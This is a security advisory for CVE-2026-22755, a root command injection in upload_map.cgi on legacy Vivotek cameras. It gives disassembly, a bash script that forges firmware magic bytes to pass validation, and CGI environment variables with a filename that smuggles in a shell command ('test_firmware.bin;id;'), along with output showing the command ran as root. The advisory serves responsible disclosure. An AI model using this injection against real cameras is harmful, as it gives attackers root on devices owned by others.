| Title: Legacy Vivotek Firmware Command Injection in upload_map.cgi |
| Author: Larry W. Cashdollar |
| Date: 2026-01-08 |
| CVE IDs:[CVE-2026-22755] |
| Download Site: https://ftpmirror.your.org/pub/misc/ftp.vivotek.com/Firmware/ |
| Vendor: |
| Vendor Notified: 2026-01-08 |
| Vendor Contact: technicalusa@vivotek.com |
| Advisory: |
| Description: A remote command injection vulnerability was found in some legacy Vivotek cameras. |
| Vulnerability: snprintf() is being used to format the string “mv %s %s” with user supplied input and then that string is passed to the system() function. This is where our command injection occurs. By supplying a specially crafted filename with shell commands embedded in it we can execute commands as the http servers user id which is root.
0x00009a84 e4109fe5 ldr r1, [0x00009b70] ; [0x9b70:4]=511
0x00009a88 e4209fe5 ldr r2, str.mv__s__s ; [0xc348:4]=0x2520766d ; "mv %s %s"
0x00009a8c 00308de5 str r3, [sp]
0x00009a90 de0f8de2 add r0, var_378h
0x00009a94 0930a0e1 mov r3, sb ; 0xc44c ; "POST_FILE_NAME"
0x00009a98 effbffeb bl sym.imp.snprintf
0x00009a9c de0f8de2 add r0, var_378h
0x00009aa0 05fcffeb bl sym.imp.system |
| Export: JSON TEXT XML |
| Exploit Code: Because we were unable to obtain the specific model of camera of our own we configured a machine to emulate the architecture and environment of a vulnerable camera.
The following criteria need to be met in order to exploit the vulnerability:
The file size must be under 5MB.
The calling script must be upload_map.cgi not file_manger.cgi you can’t access file_manager.cgi directly the code checks for this which I will highlight below.
The uploaded binary must pass a firmware verification check.
The /usr/sbin/confclient binary must be intact and return the following string capability_remotecamctrl_master=1
The boa webserver included in the firmware is customized and uses non standard environment variables to pass data to cgi-bin binaries.
#!/bin/bash
TEMP_DIR=/tmp
# Create a minimal firmware file
# The validate_firmware_file checks for magic bytes: FF V FF FF (at start) and FF K FF FF (at end)
echo "[*] Creating test firmware file..."
# Create fake firmware with proper magic bytes
FIRMWARE_FILE="$TEMP_DIR/firmware.bin"
# Write the magic header: FF V FF FF
printf '\xFF\x56\xFF\xFF' > "$FIRMWARE_FILE"
# Add padding and fake firmware data
dd if=/dev/zero bs=1 count=1000 >> "$FIRMWARE_FILE" 2>/dev/null
# Write the magic footer: FF K FF FF
printf '\xFF\x4B\xFF\xFF' >> "$FIRMWARE_FILE"
echo "[+] Firmware file created: $FIRMWARE_FILE"
ls -lh "$FIRMWARE_FILE"
echo ""
Bash script used to create valid dummy firmware images.
The CONTENT_LENGTH value just needs to be above 0 and below 5MB.
export REQUEST_METHOD=POST
export CONTENT_LENGTH=55123
export QUERY_STRING=camid=1
export SCRIPT_NAME=upload_map.cgi
export POST_FILE_NAME="test_firmware.bin;id;"
export SCRIPT_NAME=upload_map.cgi
The environment variables used to execute the cgi-bin binary.
# /usr/share/www/cgi-bin/upload_map.cgi
Content-type: text/html
upload_result='0';upload_msg='upload_successfully';ip='';port='0';username='';passwd='';mv: missing destination file operand after 'test_firmware.bin'
Try 'mv --help' for more information.
uid=0(root) gid=0(root) groups=0(root)
The resulting output of id being passed into the system() function.
[pid 360278] execve("/bin/sh", ["sh", "-c", "mv test_firmware.bin;id; /mnt/fl"...], 0x555587d277c0 /* 22 vars */ |
| Screen Shots: |
| Notes: |